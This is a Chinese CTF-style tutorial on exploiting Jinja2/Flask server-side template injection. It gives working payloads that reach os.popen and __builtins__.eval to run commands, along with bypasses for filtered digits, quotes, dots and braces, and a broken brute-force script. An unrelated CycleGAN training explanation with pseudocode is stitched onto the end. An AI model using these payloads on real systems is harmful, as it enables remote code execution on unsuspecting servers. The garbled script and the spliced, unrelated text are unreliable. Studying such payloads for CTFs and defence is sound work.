SSTI知识点汇总

        以前写BaseCTFweek3的web时总结过一次,这里系统的再重写一遍


什么是SSTI?

        SSTI是一种发生在服务器端模板中的漏洞。当用户的输入返回时会经过一个模板渲染,SSTI漏洞就是恶意用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。           

        服务器的模板又很多种,不同的语言会有不同的模板框架。   

        所以SSTI并不只有一种方式,我们平常多遇到的是python的模板


SSTI的形成原因

        其实成因很简单,就是写后端代码的程序员偷懒,用render_template_string解析字符串代替了render_template的渲染。

        做题的时候可以通过wapplayzer插件,查看框架和语言,一般是Flask和Python的话就是ssti没跑了


SSTI的具体实现方法

        这里以python的模板为例

        在这些框架中存在很多类,包括可以做到RCE的类。

        所以我们的目标就是要通过模板操作到可以进行RCE的类

        那么我们输入什么才会被当成模板注入呢?

       因为模板渲染的时候会把"{ {}}"包裹的内容当做变量解析替换。比如,{ {2*2}}会被解析成4所以,我们需要用  { {恶意代码}}  的形式来进行SSTI

        (所以{ {2*2}}也被用作检测SSTI漏洞的方法)

        接下来就是SSTI的具体实现方法了

        这里借用一下我之前写过的博客BaseCTF_web_week3-优快云博客

        这里是一些魔术方法

__class__   :返回类型所属的对象。
__base__   :返回该对象所继承的父类
__mro__     :返回该对象的所有父类
__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

        假设我们知道一个当前类,通过__class__返回对象,然后用__mro__或者__base__返回父类,直到父类为object类(所有的类都是object类的子类),再用__sublasses__返回所有的子类,这样就能找到存在rce的类啦!

        以下是一些当前类的表示方式

''.__class__

().__class__

[].__class__

"".__class__

{}.__class__

        (ctfshow_web361) 

        所以我们可以构造{ {''.__class__.__base__.__subclasses__}}查看所有类

        可以进行rce的类是——"os._wrap_close",所以我们需要找到这个类的序号

        可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132

        也可以用这个脚本,记得改一下pyload和url

import requests
url =input('请输入URL链接:)
for i in range(500):
data ={"name":
"{{O)._class_._base_.__subclasses_()["+str(i)+"]._init_._globals_['__builtins_1}}"]
try:
response = requests.posf(url,data=data)
#print(response.text)
if response.status_code == 200:if 'popen' in response.text:print(i)
except:
pass

         之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()

        构造

?name={
  
  {''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}

        这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen 

        popen后的括号里直接写命令,不需要system

        这样我们就成功通过SSTI漏洞进行RCE了


SSTI的绕过姿势

        上面上述的是最最基本的一种实现方法,现在是一些绕过手法

        绕过数字

                上述pyload用到了132,ban了数字之后我们有两种解决方案

                1.是采用另一种pylaod

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

采用了builtins模块,比用os_wrap_close更加方便

                2.采用全角数字

                        0123456789(不知道原理)

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} 

       


         用request绕过

                request可以获得请求的相关信息,通过这个特性可以做到绕过(其实用''也可以做到绕过)

例如
{{''.__class__}} ==> {{''[request.args.t1]}}&t1=__class__

__class__ ==> _''_cla''ss_''_

                过滤    '  '          

                拿之前讲过的__builtins__举例

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

                如果ban了'',就说明__builtins__和__import__的使用会被限制,这里就可以用request.args.x(x为get的参数)来避免''被检测到

                pyload如下

{{a.__init__.__globals__[request.args.x].eval(request.args.y)}}&x=__builtins__&y=__import__("os").popen("cat /flag").read()

                

        同理,也可以用于绕过其他字符

        值得一提的是,如果args被ban了,request.args.x可以替换成request['values']['x']的形式

        如果这时  ' '  也被ban了,可以用request.cookies.x代替,不过上传参数要传在cookie中
        (注意cookies这里需要加 ; )

                        chr()拼接解决request被ban

        可以用chr()拼接,可是我们不能直接使用chr(),要用之前的方法通过继承链走到chr()

一些chr()的构造方式
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

         然后用字符串chr接收,之后就可以用chr()函数了

BaseCTF week4 复读机wp(为了观感把绕过用的''去掉了)

{% set chr= ''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['popen'](cmd)['read']())%}

                        


         . 绕过

                可以用atter()绕过,也可以用[ ]绕过(这里不做展示)
        

|attr("__class__")就相当于.__class__

可以借鉴一下这个pyload

{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("whoami")|attr("read")()}}

这里这个pyload是改自
{{lipsum._globals_.get("os").popen('whoami').read()}}

这里值得注意的是(不用get)
{{lipsum._globals_.os.popen('whoami').read()}}是成立的

但是,
{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("whoami")|attr("read")()}}
如果不加get,就会失败


         {{绕过

                不能用{{}},可以用{%%}代替,不过{%%}没有显示,要加一个print

        


SSTI终极工具——fenjing

        全自动化绕过,只需要直接执行命令即可(仅支持http)

       kali中安装

pip install fenjing

        使用

python -m fenjing scan --url 'http://...'

打开网站ui
python -m fenjing webui

        讲的比较简单建议看下方文章 

        Fenjing 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 - 🔰雨苁ℒ🔰

        不过工具归工具,还是要有一些硬实力的,也遇到过fenjing找不出漏洞点的情况


小结

        忙前忙后总算写完了这篇博客,还有很多绕过姿势没讲,不过有了fenjing,更加难的绕过应该都能迎刃而解

### 如何在 CycleGAN 中实现生成器的二次训练 为了理解如何在 CycleGAN 中对生成器进行两次训练,先回顾一下 CycleGAN 的基本结构和工作原理。CycleGAN 是一种特殊的 GAN 架构,旨在解决不同域之间的无监督图像到图像翻译问题[^2]。 #### 生成器的设计与功能 CycleGAN 使用两个生成器 \(G\) 和 \(F\), 它们分别负责将 A 域的数据映射至 B 域 (\(A \rightarrow B\)) 和反向操作 (\(B \rightarrow A\)). 这种双向转换机制不仅促进了更有效的特征学习,还引入了一致性损失 (cycle consistency loss),即如果一张图片从一个域被转换到另一域再转回来,则最终结果应尽可能接近原始输入[^3]. #### 训练过程概述 在一个标准的训练周期内,每个生成器都会经历如下流程: 1. **前向传播**: 输入来自源域的真实样本并获得输出; 2. **计算对抗损失**: 将此输出传递给相应的判别器来评估其真实性得分; 3. **应用一致性约束**: 对于每一对互为镜像的任务(如 \(A \leftrightarrow B\)),还需考虑额外的一致性惩罚项以保持循环闭合; 对于所谓的“二次训练”,实际上是指在整个训练过程中重复上述步骤多次迭代直至收敛。具体来说,在每次完整的 epoch 结束之后,可以根据当前模型的表现调整超参数或改变某些设置继续新一轮的学习。这种做法有助于进一步优化模型性能,尤其是在初始阶段可能未充分探索整个解空间的情况下[^5]。 #### 实现细节 下面给出一段 Python 伪代码片段展示了一个简单的双轮次训练框架: ```python for n_epochs in range(num_initial_epochs): # 首轮训练 for data_A, data_B in dataloader: optimizer_G.zero_grad() fake_B = generator_AB(data_A) recov_A = generator_BA(fake_B) adv_loss = criterion_adversarial(discriminator_B(fake_B)) cycle_loss = criterion_cycle(recov_A, data_A) total_loss = lambda_adv * adv_loss + lambda_cyc * cycle_loss total_loss.backward() optimizer_G.step() # 调整学习率或其他配置... adjust_learning_rate(optimizer_G, new_lr=0.0001) for n_epochs in range(additional_training_epochs): # 第二轮训练 for data_A, data_B in dataloader: ... ``` 这段代码展示了如何执行两轮不同的训练期数 (`num_initial_epochs` 和 `additional_training_epochs`) 来完成所谓 “二次训练”。注意这里假设存在某种形式的学习速率衰减策略或者其他改进措施应用于第二轮之前[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值